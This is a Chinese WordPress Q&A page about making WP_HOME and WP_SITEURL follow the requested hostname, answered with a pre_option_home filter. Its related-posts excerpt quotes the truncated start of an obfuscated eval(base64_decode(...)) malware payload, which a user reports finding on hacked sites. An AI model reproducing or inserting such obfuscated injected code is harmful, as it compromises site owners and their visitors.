覆盖wp_siteurl和wp_home无效

时间:2013-09-17 作者:Tamil Selvan C

我创建了一个wordpress站点,并将主机名命名为x.co.uk、x.com、x.in。。。

在wp选项表中,站点和主页url为x.co.uk。我想动态加载其他主机名也。

所以动态设置WP\\u SITEURL,WP\\u HOME,我将WP配置覆盖为

define(\'WP_SITEURL\', \'http://\' . $_SERVER[\'SERVER_NAME\'] );
define(\'WP_HOME\',    \'http://\' . $_SERVER[\'SERVER_NAME\'] );
但当我调用home\\u url()时,它总是返回x.co.uk主机名

提前感谢

1 个回复
最合适的回答,由SO网友:Charles Clarkson 整理而成

所以动态设置WP\\u SITEURL,WP\\u HOME,我将WP配置覆盖为

    define(\'WP_SITEURL\', \'http://\' . $_SERVER[\'SERVER_NAME\'] );
    define(\'WP_HOME\',    \'http://\' . $_SERVER[\'SERVER_NAME\'] );
但当我调用home\\u url()时,它总是返回x.co.uk主机名

home_url() 不使用任何WordPress常量。它使用调用get_option( \'home\' ). 要改用WP\\U HOME,请短路get_option():

add_filter( \'pre_option_home\', \'wpse_114486_change_get_option_home\' );
/**
 * Change get_option( \'home\' ) and any functions that rely on it to use
 * the value of the WP_HOME constant.
 *
 * This is not fully tested. Many WordPress functions depend on the value of
 * get_option( \'home\' ). The ramifications of this filter should be tested
 * thoroughly.
 */
function wpse_114486_change_get_option_home( $option ) {

    if ( defined ( \'WP_HOME\' ) )
        return WP_HOME;

    return false;
}

结束

相关推荐

Wp-config.php的默认安装权限

最近我注意到,我们在服务器上安装的许多wordpress都受到了这种东西的攻击和攻击eval(base64_decode(\"DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRy